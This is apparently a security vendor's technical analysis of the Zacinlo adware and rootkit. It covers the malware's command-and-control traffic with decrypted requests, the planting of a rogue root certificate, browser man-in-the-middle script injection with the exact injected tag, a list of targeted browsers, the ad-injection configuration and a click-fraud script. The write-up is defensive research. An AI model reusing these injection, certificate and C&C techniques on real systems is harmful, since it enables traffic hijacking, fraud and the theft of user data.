The main thread is responsible for updating the **svcvmx** component, if needed. Before communicating with the C&C it searches for an executable which contains „**Priky!**” or „**Jetbrains**” in the **Copyright** field of file version information in **%localappdata%** or **%programfiles%**, depending on an internal flag. If the file is not found it will be downloaded in a folder from **%localappdata%**. The path and the filenames will be added in the **set_pt** value data; this field is used to whitelist the files in the rootkit component. After that, it starts collecting some user system information and communicating the information to the **www.userbest.com:8080/report/lp** command and control center for delivering the current version of the **svcvmx** component. If the C&C is offline or it sends invalid data, it starts communicating with „**www.yimgcdn.com:8080/rep001/!**” to get the same component. The C&C response is initially decrypted and then used.

```
GET /report.lp?
16ab31b815858ffa295d3d5a917a5aafc89dff6fa4dabe8d8f20993a836758d6190a839f2f86278b4ffaafdbd35778964b030c3b7d13bac747397
6ecb66d12d75971a26fc0bc2bc222d4f5f306a95081510afe9f491ebbbc7b9f8aaa03f9d2a079693cbe329b336599e7281b3f342258fbc65266be
34aaffddea778b7a798c83366c1ab323a365849079bd01a9d8d49c3ec709dd422c633a0238d1df2f14750a9d3b9075a9c6387191607a398d7cec
c0904c48116185ae89fb29404d2c57cd42bec9ecef94afb702a1093c3a1b16f5a73a30e96469c43e593a0d682fd9b798ef5d92049ead5ee4ff6a8
b383033ba482 HTTP/1.1
Connection: Keep-Alive
User-Agent: wget
Host: www.userbest.com:8080
```

```
HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Tue, 30 Jan 2018 10:38:27 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4
```

```
bfb768c9c7a7fff3c327e58d1cab6591b2a0ba8e2680511e0d3867d310a678a6aefe520cf09c342ef9276992df23e738f3c515f729a5c1858985b
dac0564633fc65af9c9703ad411dbeb721e73afcf69bc2ea814c0fea5c2b58835453dba6f409301f8c0230fe5c6c64ba290783ff624f72734e1
63d41586cd427723a046f0a34d5d2cd8ced8f74168d49983ec4589132e637ea3f41b7181de885fc32561226729642e919f298e54d56f072393bb
5fec070519d0c6c8d
```

```
Decrypted request:
guid=BA27CCE4-51C3-4283-8C04-71C54538C75B!time=1517308792!utc=4294967288!mac=080027a7ca91!os=Micro
soft Windows 7 64bit!cpu=Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz!memory=2047!language=en!country=U
S!screen=1920*1095!bit=32!version=2.0.18.1
```

```
Decrypted response:
[{"parameters": "-starup", "always_run": true, "version": "1.0.1.8", "password": "a123456", "app": "app153",
"service": "", "name": "svcvmx", "url": "http://174.37.56.249/p2/svcvmx.zip"}]
```

If the version doesn't match the found file or it needs updating, based on **svcvmx_time** registry value, it will start downloading the component from the **url** field, unzip the downloaded archive into the found file directory, then execute the file with the same name as the archive name with the **parameters** field value as command line arguments. Every time the archive is downloaded, the value of **svcvmx_time** will be updated with the current timestamp in the **HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService** Registry key. If it doesn't require updating, it will make sure the executable gets started.



Every query about the file version of the **svcvmx** component gets reported to the Command and Control center via the admin panel API.

```

GET /api/cpx?
q=16ab31b815858ffa295d3d5a917a5aafc89dff6fa4dabe8d8f20993a836758d6190a839f2f86278b15b85761b053c36c4b030c3b7d13bac7cc4
6977a3163a6f05971a26fc0bc2bc2ec4431b903fff67510afe9f491ebbbcb009cf3bd8957e6879693cbe329b336599e7281b3f342258d666d659
1ca729c5fddea778b7a798c83366c1ab323a365849079bd01a9d8d49c3ec709dd422c633a0238d1df2f147509406f56e5694782a6f227f8bda65f
b2b0904c48116185ae8cbb0c1848cc80786a47499cacb274f882a1093c3a1b16f5a38f4ed8311b165cdaf6bc1e6741afabf5d92049ead5ee4f6b
0c1fc7c4700bcd0a6e35529d573860 HTTP/1.1
Connection: Keep-Alive
User-Agent: wget
Host: gpt9.com

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Tue, 30 Jan 2018 10:38:28 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190

ok

```

```


Decrypted request:
guid=BA27CCE4-51C3-4283-8C04-71C54538C75B&time=1517308793&utc=4294967288&mac=080027a7ca91&os=Micro
soft Windows 7 64bit&cpu=Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz&memory=2047&language=en&country=U
S&screen=1920*1095&bit=32&version=2.0.18.1&type=2

```

One thread will be responsible for installing and importing the server certificate.

The malware drops a server certificate in **%temp%\msidntfs\SSL** or **%windir%\temp**. This server certificate will be installed into the Windows Certificate Store as Trusted Root Certification Authorities.

The component searches recursively in **%PUBLIC%** and **%ALLUSERSPROFILE%** for **"cert8.db"** (the Firefox certificates database) and **"opcacrt6.dat"** (the Opera certificate authorities database) files. If they are found, the certificate gets imported in the certificate databases found. The certificate will then be converted into PEM format and placed everywhere in **%PROGRAMFILES%** and **%PROGRAMFILES(x86)%** where a directory called **"ca-certs"** is found.



Three of the created threads are responsible for installing the NetFilter SDK driver (used for MITM), as well as for the actual MITM process and for injecting a JavaScript script in the loading web page, respectively. A demo version of the The NetFilter SDK driver will be installed if it is not already installed under the name **msidntfs** and will be used to handle the MitM process, even on SSL, and inject a JavaScript script into the loading web page. The script will be injected right before the **"</head>"** html tag element.

The injected script is:

```

<script type="text/javascript" charset="utf-8" id="tr-app" src="hxxps://cdn.optitc.com/jquery.min.
js?u=default&f=2&s=500,400,50,50"></script>

```

The following processes are targeted by the Man-in-the-Middle hijacking mechanism:



```

\LIBRO_EXE \QQBROWSER_EXE \360CHROME_EXE \TUCHROME_EXE \FLVIE_EXE \JSV_EXE \2345EXPLORER_EXE
\BROWSER_EXE \ZBROWSER_EXE \AEGIS_EXE \MINIE_2_EXE \MRBROWSER_EXE \MYIQ_EXE \OUU_EXE \TFYBROWSER_EXE \CO
\RAAL_EXE \ROAMR_EXE \RSBROWSER_EXE \ALIBROWSER_EXE \BAIDUBROWSER_EXE \CELL_EXE \CVIE_EXE \RKB
\ROUSER_EXE \PILOO_EXE \CHEERBROWSER_EXE \GSEARCH_EXE \WEBSTRIP_EXE \TRAVELER_EXE \SCHEDULER_EXE \IRON
\141E_EXE \S3BROWSER-WIN32_EXE \XPLORER_EXE \CRAZY_BROWSER_EXE \BBSMEDIA_EXE \GUANT_EXE \SUEXPLORER_EXE
\141E_EXE \GAMESBROWSER_EXE \LANGHANG_EXE \UBROWSER_EXE \WIE7_EXE \299BROWSER_EXE \PBDRO
\SER_EXE \BROWSER_EXE \QIWEB_EXE \VVEEXPLORER_EXE \SEEMO_EXE \JW_EXE \JUBROWSER_EXE \CRIMAO_EXE \SE_EXE
\HUAER_EXE \AIRVIEW_EXE \SEEMONKEY_EXE \PALEMOON_EXE \LUNA_EXE \MEGMEGT_EXE \GOSURF_EXE \DRAGON_E
\VE \ACOOBROWSER_EXE \SAYAA_EXE \SRIE_EXE \FTBR_EXE \SBFRAME_EXE \DVBROWSER_EXE \BUIVING_E
\KE \TAOMEERBROWSER_EXE \TOOBROWSER_EXE \MCHROME_EXE \COMETBROWSER_EXE \CHGREEMBROWSER_EXE \DUOPING_EXE
\GREENBROWSER_EXE \KBROWSER_EXE \07073GE_EXE \OPERA_EXE \NETSCAPE_EXE \MAXTHON_EXE \SAFARI_EXE
\CHROMB_EXE \FIREFOX_EXE \THE_WORLD_EXE \SOGOVEXPLORER_EXE \EXPLORE_EXE \TANG03_EXE \JUZI_EXE
\2345CHROME_EXE \THEWORLD_EXE \360SE_EXE \MICROSOFTEDGECP_EXE \MICROSOFTEDGE_EXE

```

Another thread is responsible for updating the malware's registry configuration. The registry configuration is downloaded from the C&C at hxxp://optitm.com

```

POST /client-api HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Length: 320
Host: optitm.com

908979af7aec046398a0f212bc21837785dc9598a10c8edf127f88279c70fb4707396cdb76871fc9e702e219a12cb8f0db91909536f7b95a856a23abf
dcf11419a5e00f6b91bcd21b5c0bc1e136352094c1b21fd619cfc59e9452defa7ec10ddb8dc96fc74a6ddb9a8ab55489a477365029b8c34895190223
83ad284c3e9b9e216df57cc84ac85ba2bb3214ef63c161d25e5e7c334e00cfb4376466c50385HTTP/1.1 200 OK
Server: nginx
Date: Tue, 30 Jan 2018 10:38:28 GMT
Content-Type: text/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache

65327554761e0f4520457b852ee41c13112be2f60f36d01526b53175c94051cd6d52f6d11b72c643c2641bc51783b6308289a950e64106e21ab0e88cf
62420a6c57e47113e1eda5b72400190e5ba5932e52eae7e8379b092e11405d0f830ccfce5e288de94e17b3789f7034a2745b7c84effb6623fac8b899a
aee4231eb2dc68ffa56d9930a8f9c28e12ac640ff6f9c8712cc50d2c855365b9a44cb28e161146745ab1f84579c3549934b39cb97ad917553a948f7b
61a6b8dfb00183637d40ca0c0b2f27cef28abf66c893dbddf4d58d54734646c0d9cfa9109b49d8eaa95b88b2e69e38194d1f188a2450b40f961a17005
ace56bbeff238233593a31d9c427724524305004fac52db5adb60913dca49d81d0481aa77f7b05958f167ead151d78063c6e5aa84be44e782c1e4baa9e
4365c6b1c09fe9ece31bf25c16c745f2b0d9d5ecb13d4e50b1e6c7e788558ef2d51

Decrypted request:
{"cid":"BA27CCE4-51C3-4283-8C04-71C54538C75B","cores":1,"mhz":1212,"mem":2047,"os":4,"w64":1,"mac":
:"080027a7ca91","ver":"2.0.18.1","id":18001008,"run1":1}

Decrypted response:
{"code":0,"msg":"\u5904\u7406\u6210\u529f","ver":"1.0.0","data":[],"ati":["3,4,5,6,7,8,9,10,11,13,1
6,18,19,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,39,40,41,42,44,45,46,47,48,49,51,53,54,55,
58,59,60,62,63,64,65,67,20,1],"atidrv1":[],"atidrv2":[],"hpd1":[],"bl":["mbar","reagentc","Windows
UpdateBox.exe"],"_":"0.032308101654053}

```

The C&C response is decrypted, parsed and the following values are saved in **HKLM\SYSTEM\CurrentControlSet\Control\Network** as follows:

- „ati” as **atimode** registry value
- „bl” as **set_bl** registry value

In this case **shield_count** registry value data from **HKLM\SYSTEM\CurrentControlSet\Control\Network** will be set to „0”.

If the C&C is offline, a connection to „<http://www.baidu.com>” is attempted to test the internet connection. Depending on the available connectivity and on the data of **shield_count** registry value, **PowerMode** or **PowerMode2** registry values will be set in **HKLM\SYSTEM\CurrentControlSet\Control\Network**. If shield_count data is larger than 0x90 then **PowerMode2** will be set, otherwise **PowerMode** will be set in case shield_count data is larger than 0x48. The **PowerMode** and **PowerMode2** values will be used by the rootkit component to filter the executables and their access permissions.



JS Script

The main functionality of this script is to display ads based on the user's configuration and visited pages. The ads are received from the C&C along with configuration that specifies how they should be displayed. Ads can be displayed either on their own or only if another external ad can be replaced. Their aggressiveness is highly configurable. Some ads can be configured to have a close button or fade away after some time while others can not be closed.

This is the script called from "***hxxps://cdn.optitc.com/jquery.min.js?u=default&f=2&s=500,400,50,50***". It uses multiple open source javascript libraries to help with its malicious activities:

- ***sizzlejs*** → <https://github.com/jquery/sizzle>; obfuscated
- ***UAParser*** → <https://github.com/faisalman/ua-parser-js>; obfuscated
- ***JSON*** → <https://github.com/douglascrockford/JSON-js/blob/master/json2.js>;
- some functions from <https://github.com/dperini/ContentLoaded/>;

The script is called with 3 parameters, as shown in the query above:

- ***u=default***, specifies the url parameter to reply when contacting the C&C
- ***f=2***, specifies when to contact the C&C, in our case the C&C is contacted when the current window is the topmost browser window
- ***s=500,400,50,50***; will be replayed as is to the C&C

Information about the visited website and browser configuration will be gathered and sent to the C&C by dynamically creating a new script element in the HTML that links to "***hxxps://cdn.optitc.com/serve***" with the following query strings added:

- ***url***: replayed value of u from the original query
- ***z0***: base64 encoded information about the website and browser configuration
- all other parameters from the original query except u and f are replayed

In our case, the script link was:

```
https://cdn.optitc.com/serve?url=default&z0=WyliLDE5M jAsMTA4MCwxODk0LDY5OCwiMTEuMiByMjAyliwyNCww
LDAsImZsYXNoLGphdmEsY29va2llliwiliwiZmlsZTovLy9ob21lL3N1Z3VzL0Rvd25sb2Fkcy9ndWdhbF9pbmZlY3RhdC5odG1sliwzLCJVVEY
tOCIsImVuLVVVTliwxNTI0MTUxNDM4NzYyLCJNb3ppbGxhLzUuMCAoWDExOyB MaW51eCB4ODZfNjQ7IHJ2OjUyLjApIEdlY2tvLzlwMT
AwMTAxIEZpcmVmb3gvNTIuMCIslislkdvb2dsZSIsIjJd&s=500%2C400%2C50%2C50
```

The following information is encoded in the ***z0*** parameter:

- screen width
- screen height

- width of the browser window
- height of the browser window
- flash version
- color depth
- whether the script is running in the topmost window
- whether orientation is available
- all the enabled browser features (e.g.: Flash, Java, cookie etc)
- the topmost browser window
- visited URL
- timezone
- character encoding of the visited site
- browser language
- current time
- user agent
- referrer of this site
- page title
- all cookies of the page

This new script contains a call to a function from the original script (*applyConfig*) to which a base64 encoded configuration JSON is passed. This JSON contains information about advertisements to be displayed and their interaction with the user. Several types of ads are handled in code:

- **match** – checks whether the size of the screen and browser window satisfies size requirements of the advertisements
- **external** – an URL is provided to which a new script element will be created and linked
- **js_redirect** – redirects the user to another page (the referrer field is specified from the configuration)
- **js_chat_room** – loads a script and an optional CSS style sheet received in the configuration
- **popunder** – calls a function called *popunder* on an URL specified in the configuration. This function is not implemented yet, which may hint that the script is still under development.
- **banner** – the main way of displaying ads. It waits for the DOM content to load, then either replaces or adds advertisements to the current page. Multiple tests can be conducted before an ad is displayed: whether a DOM element that satisfies size requirements exists; whether the src, href or className attribute of the element matches a certain regular expression; whether a certain CSS selector is matched; custom checks in JavaScript can also be dynamically specified and run from the configuration.



The JSON file contains many configuration fields, of which some of the most important ones are:

- **ads** – list with ad scripts to be inserted
- **type** – the ad type
- **id** – new element ID
- **cls** – new element class to be appended
- **width** – width of the new ad
- **height** – height of the new ad
- **test_enabled** – enables searching for a specific element in page, **width** and **height** are then used for matching
- **tip_enabled** – enables a tip by appending a new DIV element to the ad
- **tip_text** – text shown in the tip
- **output** – possible values:
 - **1** – display only first ad in the ads list
 - **2** – display only one random ad from the ads list
 - **3** – replace elements with ads
 - **4** – display all ads from the list
- **method** – method for inserting ads, has possible values:
 - **1** – add fixed element
 - **2** – add absolute element
 - **3** – replace an element in the page with ads
 - **4** – insert as first child of element
 - **5** – insert as last child of element
 - **6** – insert before element in parent
 - **7** – insert after element in parent
- **replace_limit** – maximum number of elements to be replaced with ads
- **replace_method** – possible values:
 - **1** – add all ads in order
 - **2** – all ads in random order
 - **3** – extend or shrink the ads list to match the number of elements found in order
 - **4** – same as **3** but randomized



- **5** – extend or shrink the ads list to at most *replace_limit* ads in order
 - **6** – same as **5** but randomized
 - **7,8** – same as **5,6** but at most *pick_limit* ads
- **align** – horizontal align type
 - **valign** – vertical align type
 - **x** – horizontal alignment value
 - **y** – vertical alignment value
 - **close_button** – enables close button on ad
 - **close_auto** – enables auto close for an ad in *close_timeout* seconds
 - **fade_enabled** – enables fade out of an ad in *fade_timeout* seconds
 - **test_selector** – checks whether an element contains some CSS styles
 - **test_offset_x** – slack space on X axis
 - **test_offset_y** – slack space on Y axis
 - **test_x** – possible values: *u,d*. Checks for a page element:
 - **u**: $\text{elem.width} < \text{json.width} + \text{json.test_offset_x}$
 - **d**: $\text{elem.width} > \text{json.width} - \text{json.test_offset_x}$
 - **test_y** – similar to **test_x** for height

An example of a configuration JSON:



```

...
{
  "t": "banner",
  "n": "\u66ff\u6362 120x600",
  "id": "",
  "cls": "",
  "width": 120,
  "height": 600,
  "method": 3,
  "align": "r",
  "valign": "b",
  "x": 0,
  "y": 0,
  "close_button": false,
  "close_auto": false,
  "close_timeout": 3,
  "fade_enabled": true,
  "fade_timeout": 3,
  "test_enabled": true,
  "test_selector": "",
  "test_js": "",
  "test_x": "ud",
  "test_offset_x": 10,
  "test_y": "ud",
  "test_offset_y": 25,
  "output": 3,
  "replace_method": 6,
  "replace_limit": 2,
  "rotate_enabled": false,
  "rotate_limit": true,
  "rotate_interval": 10,
  "rotate_random": false,
  "rotate_times": 1,
  "ads": [
    [
      "Google 120x600",
      "code",
      "<script async src=\"\\pagead2.googleadsyndication.com/pagead/js/adsbygoogle.js\">
</script>
<!-- 1-120600 -->
<ins class=\"adsbygoogle\"
style=\"display:inline-block;width:120px;height:600px\"
data-ad-client=\"ca-pub-5342417538670803\"
data-ad-slot=\"9746813776\">
</ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
"
    ]
  ],
  "c": "",
  "tip_pos": "lb",
  "tip_enabled": true,
  "tip_text": "AD",
  "_id": 198712
},
...

```

```

<script async src=
  "\\pagead2.googleadsyndication.com/pagead/js/adsbygoogle.js">
</script>
<!-- 1-120600 -->
<ins class="adsbygoogle"
  style="display:inline-block;width:120px;height:600px"
  data-ad-client="ca-pub-5342417538670803"
  data-ad-slot="9746813776">
</ins>
<script>(adsbygoogle = window.adsbygoogle || []).push({});</script>

```

Payload - Master

The component corresponds to **svcvmx.exe** file.

The purpose of this component is to communicate with the C&C, execute the Payload – Slave components and send data through pipe to the slave. It integrates the source code of three open-source projects:

- Chromium
- Libcurl
- Crypto++

A pipe named **SVCMX{72CE8DB0-6EB6-4C24-92E8-A07B77A229F8}** is created and it is used to communicate with the slave component (**vmxclient.exe**).

Different requests are made to C&C. The first request is made to receive a token which will be used in subsequent requests.

```

POST /client-api HTTP/1.1
Host: client-api.essads.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Length: 608
Content-Type: application/x-www-form-urlencoded

9b904e26a06f93f2eda8120d1ef13026e497fe3567a0b70268e81d79275529af625d368eb4d70a710f311e9d20e5406c5989cf03bfb589475cd45ee32
eaf39a9840378ffc30e57949d38b947d9d6fe283a375b76d5b9e8858503f55f1b43815338b4a5dec86f15ec91164005cf8bb620da318f16d6ecfc2fee
7f830daffcc65e61d6c147c59f0bd5dd4a8e65cbdc93ba00df0c1ba7329d8194829565bef52b1e9a7812748fa0781916eebdbba66df2e05a093f87635
0e5a23eebb0288c96714e95eaf1c63a800cf33261e089bc94867fa42c245fc76fa598c6ce34d3a2507bf98670c27c67348376a3644ffad352638d04db
c5824dfe9ad324a18f23d0653ad7794e011d7a54fa5cc509339fb85f98b6750c5f76afa03c42737260966134be7339868dfc53f8e6f3ac6ff73f39fec
114HTTP/1.1 200 OK
Date: Thu, 22 Feb 2018 14:51:28 GMT
Server: Apache/2.2.22 (@RELEASE@)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/javascript; charset=utf-8

65327554761e0f4520457b852ee41c13112be2f60f36d01526b53175c94051cd6d52f6d11b72c643c2641bc51783b630caf2a18693369e451ab0e88cf
62420a688e4ead61070bc8fffd571b59b2bf823ccd41c2ff5ad976b6896549dca1b3cfd10a1f982e0aff7034f425d7bc24952763f56676866be4c06fc1
6789f40295055e24e3b788511e615147d909e1cac014c550f7ace470e706ae

```

```

Decrypted request:
{"action":1,"cid":"389F6922-D8D2-4C58-9B4E-7DEA56F3DA68","client":"5C2762D084FC491990D204997DA88A4
6...0.0.0","data":{"browser_ver":"3.2526.1373.0","cpu_cores":1,"cpu_hz":0,"fl_ver":"22.0.0.192","m
emory":2047,"os_ver":4,"wow_64":1},"email":"","mac":"080027a7ca91","mode":0,"token":"","ver":"1.0.
1.8"}

Decrypted response:
{"code":0,"msg":"\u5904\u7406\u6210\u529f","ver":"1.0.1","data":{"token":"HXdk0899IYtAHKP9Hc9XrKvJ
Pg7LrJ9owKdC71lXIKhk6D2A"},"_":0.0348060131073}

```

Request parameters:

- **action** – this field indicates the request action (1 = first request, 3 = later requests)
- **cid** – generated GUID saved in `%localappdata%\Microsoft\Windows Media\userdata2` (the path may differ depending on the file version). This file is encrypted using *CryptoAPI – CryptProtectData* and decrypted using *CryptUnprotectData* when needed.
- **client** – formatted string which contains: generated GUID by Zacinlo component (located in registry at value *Liveup* from `HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService`), setup time (located in registry at value *install_time* from `HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService`), file version of the binary file from the *windowsmanagementservice* service, the number of *ct.exe* processes, the number of *dataup.exe* processes, „1” if *svcmx* is in auto-run („`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`”) otherwise „0”
- **browser_ver** – libcef version
- **cpu_cores** – number of cpu cores
- **cpu_hz** – cpu frequency
- **fl_ver** – flash version
- **memory** – total physical memory
- **os_ver** – operating system version
 - 0 – old Windows Operating System (unsupported by this component)
 - 1 – Windows XP
 - 2 – Windows Server or XP x64



- 3 – Windows Vista
- 4 – Windows 7
- 5 – Windows 8
- 6 – Windows 8.1
- 7 – Windows 10
- 8 – a newer Windows Operating System
- **wow_64** – „1” if is running under WoW64 subsystem otherwise „0”
- **email** - unused
- **mac** – victim’s mac address
- **mode** - unused
- **token** – always empty for first request
- **ver** – version of this malware component

Later requests are made to retrieve the list of websites that need to be visited.

```
POST /client-api HTTP/1.1
Host: client-api.essads.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Length: 368
Content-Type: application/x-www-form-urlencoded

9b904e26a06f93f2b6976edd9779209fe497fe3567a0b70268e81d79275529af625d368eb4d70a710f311e9d20e5406c5989cf03bf589471ab0e88cf62420a6956faf22698eb7b240d2347d3784bfddc9d79fe74fc524510af9e9f491ebbc947aba50d534a1e1d56313da941c456c9c25c3754e143b4e06b8bf3615bbb91a737eaf26042ed12d778bf758b9c88ce4dfc58d46facbd883ae41a01914b9261f060ad8fb4d1677490f06e5c99af8b6a78e022767a4e8f6a6HTTP/1.1 200 OK
Date: Thu, 22 Feb 2018 14:51:28 GMT
Server: Apache/2.2.22 (@RELEASE@)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/javascript; charset=utf-8

6532754761e0f4520457b852ee41c13112be2f60f36d01526b53175c94051cd6d52fd611b72c643c2641bc51783b630caf2a18693369e451ab0e88cf62420a6956faf22698eb7b240d2347d3784bfddc9d79fe74fc524510af9e9f491ebbc947aba50d534a1e1d56313da941c456c9c25c3754e143b4e06b8bf3615bbb91a737eaf26042ed12d778bf758b9c88ce4dfc58d46facbd883ae41a01914b9261f060ad8fb4d1677490f06e5c99af8b6a78e022767a4e8f6a6HTTP/1.1 200 OK
Date: Thu, 22 Feb 2018 14:51:28 GMT
Server: Apache/2.2.22 (@RELEASE@)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/javascript; charset=utf-8
```




| | | | | |
|-------------|-------|----------|-----------|------------------------------|
| avcpmil.exe | | 1,456 K | 2,072 K | 2584 Client Service |
| mscgwab.exe | 45.44 | 29,884 K | 63,056 K | 2884 Windows Process Manager |
| mscgwab.exe | | 17,764 K | 20,488 K | 2160 Windows Process Manager |
| mscgwab.exe | 18.99 | 46,968 K | 252,456 K | 2904 Windows Process Manager |
| mscgwab.exe | 0.36 | 26,456 K | 25,188 K | 1808 Windows Process Manager |


An example webpage is described by the following JSON received from the CnC:

```
{
  „id“: 19883831,
  „sn“: „2T771BU6GN“,
  „name“: „pri3-1-0 video2 m1“,
  „url“: „http://www.cookie.com“,
  „mobile“: „“,
  „insertjs“: „“,
  „allowbigpic“: 1,
  „historylength“: 17,
  „needoldcookie“: 696,
  „allowflashnumber“: 100,
  „is_mobile“: 0,
  „flver“: „27.0.0.130“,
  „st“: [30, 45],
  „subpage“: „“,
  „user_agent“: „Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/42.0.2311.15 Safari/537.36“,
  „size“: [100, 100],
  „referer“: „“,
  „click“: „“,
  „clickwhitelist“: „“,
  „customscript“: „InsertJs(“<script type=“text/javascript“ src=“//www.eereader.
  com/ads6.js“></script>“)\nfunction RandScroll(id)\n SendMouseMoveBrowser(id);\n local count
  = RandInt(1, 1);\n Sleep(RandInt(1, 1));\n for i = count, 1, -1 do\n SendMouseWheel(-500,
  id);\n\tSleep(RandInt(2, 5));\n end\nend\n\nfunction Main()\n OpenUrl(“http://www.
  riverfallsjournal.com/sports/college/4169585-falcons-open-final-season-karges-wins“);\n
  Sleep(RandInt(10, 11));\n local id=TopWindowId();\n RandScroll(id);\n Sleep(RandInt(20, 21));\n
  RandScroll(id);\n Sleep(RandInt(20, 21));\nend\n\nMain();“,
  „priority“: 0
}
```

And the following data is sent on the pipe and received by the slave component:



| Offset | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 0A | 0B | 0C | 0D | 0E | 0F | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 1A | 1B | 1C | 1D | 1E | 1F | 0123456789ABCDEF0123456789ABCDEF |
|---------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|-----------------------------------|
| 000000h | 6C | 03 | 00 | 00 | 01 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | 02 | 02 | 00 | 90 | 37 | 67 | 2F | 01 | 01 | 00 | 00 | 00 | 0E | 00 | 00 | 00 | 8C | 02 | 00 | 00 | lv @ @ É7g/G@ µ i@ |
| 000020h | 64 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 1E | 00 | 00 | 00 | 2D | 00 | 00 | 00 | 64 | 00 | 00 | 00 | 64 | 00 | 00 | 00 | 0A | 00 | 00 | 00 | 32 | 54 | 37 | 37 | d ▲ - d d 2T77 |
| 000040h | 6C | 42 | 55 | 36 | 47 | 4E | 00 | 00 | 12 | 00 | 00 | 00 | 70 | 72 | 69 | 33 | 2D | 31 | 2D | 30 | 20 | 76 | 69 | 64 | 65 | 6F | 32 | 20 | 6D | 31 | 00 | 00 | 1BU6GN ; pri3-1-0 video2 ml |
| 000060h | 15 | 00 | 00 | 00 | 68 | 74 | 74 | 70 | 3A | 2F | 2F | 77 | 77 | 77 | 2E | 63 | 6F | 6F | 6B | 69 | 65 | 2E | 63 | 6F | 6D | 00 | 00 | 00 | 00 | 00 | 00 | 00 | \$ http://www.cookie.com |
| 000080h | 0A | 00 | 00 | 00 | 32 | 37 | 2E | 30 | 2E | 30 | 2E | 31 | 33 | 30 | 00 | 00 | 7B | 00 | 00 | 00 | 4D | 6F | 7A | 69 | 6C | 6C | 61 | 2F | 35 | 2E | 30 | 20 | 27.0.0.130 { Mozilla/5.0 |
| 0000A0h | 28 | 52 | 61 | 6E | 64 | 6F | 6D | 69 | 7A | 65 | 64 | 20 | 62 | 79 | 20 | 46 | 72 | 65 | 65 | 53 | 61 | 66 | 65 | 49 | 50 | 2E | 63 | 6F | 6D | 2F | 75 | 70 | (Randomized by FreeSafeIP.com/up |
| 0000C0h | 67 | 72 | 61 | 64 | 65 | 2D | 74 | 6F | 2D | 72 | 65 | 6D | 6F | 76 | 65 | 3B | 20 | 63 | 6F | 6D | 70 | 61 | 74 | 69 | 62 | 6C | 65 | 3B | 20 | 4D | 53 | 49 | grade-to-remove; compatible; MSI |
| 0000E0h | 45 | 20 | 39 | 2E | 30 | 3B | 20 | 57 | 69 | 6E | 64 | 6F | 77 | 73 | 20 | 4E | 54 | 20 | 35 | 2E | 30 | 57 | 4F | 57 | 36 | 34 | 29 | 20 | 43 | 68 | 72 | 6F | E 9.0; Windows NT 5.0WOW64) Chro |
| 000100h | 6D | 65 | 2F | 32 | 30 | 2E | 30 | 2E | 31 | 32 | 32 | 39 | 2E | 37 | 39 | 00 | 00 | 00 | 00 | 00 | 2B | 02 | 00 | 00 | 49 | 6E | 73 | 65 | 72 | 74 | 4A | 73 | me/20.0.1229.79 +@ InsertJs |
| 000120h | 28 | 22 | 3C | 73 | 63 | 72 | 69 | 70 | 74 | 20 | 74 | 79 | 70 | 65 | 3D | 5C | 22 | 74 | 65 | 78 | 74 | 2F | 6A | 61 | 76 | 61 | 73 | 63 | 72 | 69 | 70 | 74 | ("<script type=\"text/javascript |
| 000140h | 5C | 22 | 20 | 73 | 72 | 63 | 3D | 5C | 22 | 2F | 2F | 77 | 77 | 77 | 2E | 65 | 65 | 72 | 65 | 61 | 64 | 65 | 72 | 2E | 63 | 6F | 6D | 2F | 61 | 64 | 73 | 36 | \\" src=\"//www.eereader.com/ads6 |
